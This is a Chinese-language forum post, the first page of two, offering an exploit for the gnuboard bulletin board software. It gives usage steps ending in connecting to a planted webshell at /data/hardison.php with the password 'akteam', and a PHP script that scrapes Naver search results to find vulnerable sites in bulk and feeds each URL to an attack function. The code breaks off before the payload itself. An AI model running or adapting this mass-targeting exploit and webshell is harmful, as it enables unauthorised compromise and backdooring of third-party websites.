韩国gnuboard论坛漏洞EXP及利用办法[网络技术]

摘自红科网安

1.本机搭建PHP环境
2.将EXP程序保存为akt.php
3.CMD下履行php akt.php
4.产生的akt.txt中记录成功URL
5.http://目标URL/data/hardison.php   密码:akteam   用PHP衔接

EXP:

复制代码 <?php
echo"   +----------------------------------------------------------------+\r\n";
echo"                   http://bbs.honkwin.com\r\n";
echo"   +----------------------------------------------------------------+\r\n";
for ($ii=1;$ii<=99;$ii++)
{
$c=(int)$ii*10+1;
$a="web.search.naver.com";
$b="/search.naver?where=webkr&query=bbs/board.php&xc=&docid=0&lang=all&st=s&fd=2&start=".$c."&display=10

&&qvt=0&sm=tab_pge";
get($a,$b);

}
function get($host,$file)
{
          
             $fp = fsockopen($host, 80, $errno, $errstr, 10);
             if (!$fp) {
                 echo "SocketError: $errstr ($errno)\n";
                 return false;
             }
             $get = "GET $file HTTP/1.1\r\n";
             $get .= "Host: $host\r\n";
             $get .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5\r\n";
             $get .= "Referer: http://$host\r\n";
             $get .= "Connection: Close\r\n";
                         $get .= "Cookie: nsr_acl_nautocomplete=1; NB=GIYTSNJYHE4DKMJX; NNB=AIUHYPM7OXJUS; page_uid=fOL9uloi5UNssbPX/M8sss--100532; _naver_usersession_=SdN7qBY700kAAAKIwME\r\n\r\n";
             fwrite($fp, $get);
             $response=stream_get_contents($fp);
             preg_match_all("(http://[-\w.]+(:\d+)?(/([\w/_.]*)?)?bbs\/board\.php)",$response,$put);
             for ($i=0;$i<count($put[0]);$i++)
                         {
                         $a=(int)$i*3;
                      
                      
                         fuck($put[0][$a]);
                         //echo count($put[0]);
                         //print_r($put[0]);
                         //fuck($put[0][$i]);
                      
                         break;
                      

[1] [2]  下一页